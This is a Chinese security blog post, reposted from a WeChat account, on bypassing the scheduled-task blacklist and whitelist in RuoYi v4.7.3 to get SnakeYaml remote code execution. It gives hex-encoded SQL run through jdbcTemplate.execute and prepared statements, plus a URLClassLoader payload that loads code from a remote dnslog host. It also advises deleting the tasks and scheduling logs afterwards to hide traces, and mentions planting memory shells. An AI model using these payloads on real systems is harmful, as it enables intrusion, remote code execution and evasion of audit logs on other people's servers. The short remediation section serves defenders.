0x00 前言
RuoYi是一款基于SpringBoot+Bootstrap的极速后台开发框架,在项目中也已经遇到过很多次,十分优秀的开源系统。
在其版本小于4.6.2时,存在后台定时任务RCE漏洞。最常见的一种利用方式是通过SnakeYaml进行代码执行。
本文主要内容为:在 v4.7.3 版本中绕过定时任务黑白名单,实现SnakeYaml代码执行。
从若依的更新日志中:http://doc.ruoyi.vip/ruoyi/document/gxrz.html
提取出来的,关于定时任务功能代码的相关信息,供参考
v4.6.2版本 定时任务屏蔽rmi远程调用
v4.7.0版本 屏蔽ldap远程调用、屏蔽http(s)远程调用
v4.7.1版本 定时任务屏蔽违规字符
v4.7.3版本 定时任务屏蔽违规的字符、定时任务目标字符串验证包名白名单
v4.7.4版本 定时任务检查Bean包名是否为白名单配置
v4.7.6版本 定时任务违规的字符
0x01 流程分析
首先我们打开v4.7.3版本代码看下,一个定时任务的创建会经过哪些检查
一、Cron表达式格式检查,可忽略
二、关键字检查,不能存在如下关键字:rmi、ldap、ldaps、http、https
com/ruoyi/quartz/controller/SysJobController.java
三、调用类黑名单检查
调用的类名不能包含如下违规字符
java.net.URL
javax.naming.InitialContext
org.yaml.snakeyaml
org.springframework
org.apache
com.ruoyi.common.utils.file
com/ruoyi/common/constant/Constants.java
四、调用类白名单检查
如果传入的为限定类名,则检测类名是否包含 com.ruoyi
,否则判定为已注册的bean直接通过白名单检测。
可以发现,这里的白名单检查只是针对限定类名的
com/ruoyi/quartz/util/ScheduleUtils.java
其次看下定时任务在最后执行时,是如何截取类名、方法、参数的
主要两点:
1.当传入限定类名时,系统会创建一个对象出来使用;不为限定类名时,会根据对象名去spring容器中去找已注册的bean
2.参数的提取是从第一个 (
和第一个 )
中间的字符串,即参数中不能有括号出现,否则会被截断
com/ruoyi/quartz/util/JobInvokeUtil.java
当 Spring 框架启动时,它会扫描项目中使用的 JAR 包,并自动将其中所有的类按照一定的命名规则注册为 Bean,自动注册 Bean 的方式默认情况下是开启的。
RuoYi定时任务功能代码具体的分析过程,推荐大家去看下文末的参考文章,先知上已经有师傅写的非常清晰。
0x02 漏洞复现
利用 jdbcTemplate.execute()
方法绕过违规字符检测,将POC写入定时任务中,并成功执行。
一、创建一个定时任务,内容任意。(注意尽量不修改系统原有的定时任务)
notepad
123
0/10 * * * * ?
二、记住任务编号,开始构造sql语句去执行
构造sql语句并进行十六进制编码(这里注意调整 job_id ,以及利用的POC),通过分开执行绕过括号限制
update sys_job SET invoke_target="org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://ruoyi.ufxctv.dnslog.cn']]]]')" where job_id=100;
757064617465207379735f6a6f622053455420696e766f6b655f7461726765743d226f72672e79616d6c2e736e616b6579616d6c2e59616d6c2e6c6f6164282721216a617661782e7363726970742e536372697074456e67696e654d616e61676572205b21216a6176612e6e65742e55524c436c6173734c6f61646572205b5b21216a6176612e6e65742e55524c205b27687474703a2f2f72756f79692e7566786374762e646e736c6f672e636e275d5d5d5d272922207768657265206a6f625f69643d3130303b
4条sql语句如下:
设置变量
jdbcTemplate.execute('set @t3=0x757064617465207379735f6a6f622053455420696e766f6b655f7461726765743d226f72672e79616d6c2e736e616b6579616d6c2e59616d6c2e6c6f6164282721216a617661782e7363726970742e536372697074456e67696e654d616e61676572205b21216a6176612e6e65742e55524c436c6173734c6f61646572205b5b21216a6176612e6e65742e55524c205b27687474703a2f2f72756f79692e7566786374762e646e736c6f672e636e275d5d5d5d272922207768657265206a6f625f69643d3130303b')
定义预处理语句
jdbcTemplate.execute('prepare t3 from @t3')
执行预处理语句
jdbcTemplate.execute('execute t3')
删除预处理语句
jdbcTemplate.execute('drop prepare t3')
新建4个定时任务,也可以创建一个,执行成功后修改为下一条语句去执行,依次进行
按照执行顺序指定上述四个定时任务
需要注意的是,每次执行完并不一定会成功,所以每 执行一次
后,看一下 调度日志
,确认成功后再指定下一个去执行
当sql3执行完毕后,我们已经通过数据库操作修改了指定定时任务的任务内容
删除已经执行过的预处理语句
查看数据库中
最后执行修改后的定时任务,触发代码执行
通过上述四条语句组合,已经可以执行任意sql语句。
如果只是更新指定计划任务的内容,我们可以使用如下语句代替:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://ruoyi.sckhmf.dnslog.cn"]]]]')
将POC使用16进制编码
6f72672e79616d6c2e736e616b6579616d6c2e59616d6c2e6c6f6164282721216a617661782e7363726970742e536372697074456e67696e654d616e61676572205b21216a6176612e6e65742e55524c436c6173734c6f61646572205b5b21216a6176612e6e65742e55524c205b22687474703a2f2f72756f79692e73636b686d662e646e736c6f672e636e225d5d5d5d2729
替换进执行的sql语句中
jdbcTemplate.execute('update sys_job set invoke_target=0x6f72672e79616d6c2e736e616b6579616d6c2e59616d6c2e6c6f6164282721216a617661782e7363726970742e536372697074456e67696e654d616e61676572205b21216a6176612e6e65742e55524c436c6173734c6f61646572205b5b21216a6176612e6e65742e55524c205b22687474703a2f2f72756f79692e73636b686d662e646e736c6f672e636e225d5d5d5d2729 where job_id=104')
随便新建一个定时任务获取任务编号,并将任务编号替换掉POC中的job_id参数,编辑该定时任务为上述POC,执行一次。
当前定时任务内容更新,说明执行成功,接着再执行一次利用即可。
最后别忘了收尾,将新建的定时任务以及调度日志删除。
0x03 总结与思考
-
在实际利用中,往往需要打入内存马,先知上是有一些关于若依写入内存马的文章,感兴趣可以学习下。
-
对于不出网的情况,可以利用file协议结合文件上传,去本地读取文件执行,这中间存在一个问题需要思考,就是如何获取上传文件的绝对路径。
0x04 漏洞修复
在 v4.7.4版本中,系统会获取bean的限定类名后,再进行白名单检测。至此,所传入的类必须为 com.ruoyi
下的类。
0x05 参考文章
https://xz.aliyun.com/t/11336
https://github.com/thelostworldFree/Ruoyi-All
说明:文章不保证内容完全准确,文中如有错误还请多多指出,共同进步.
原文始发于微信公众号(哈拉少安全小队):RuoYi-定时任务三部曲(其一)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论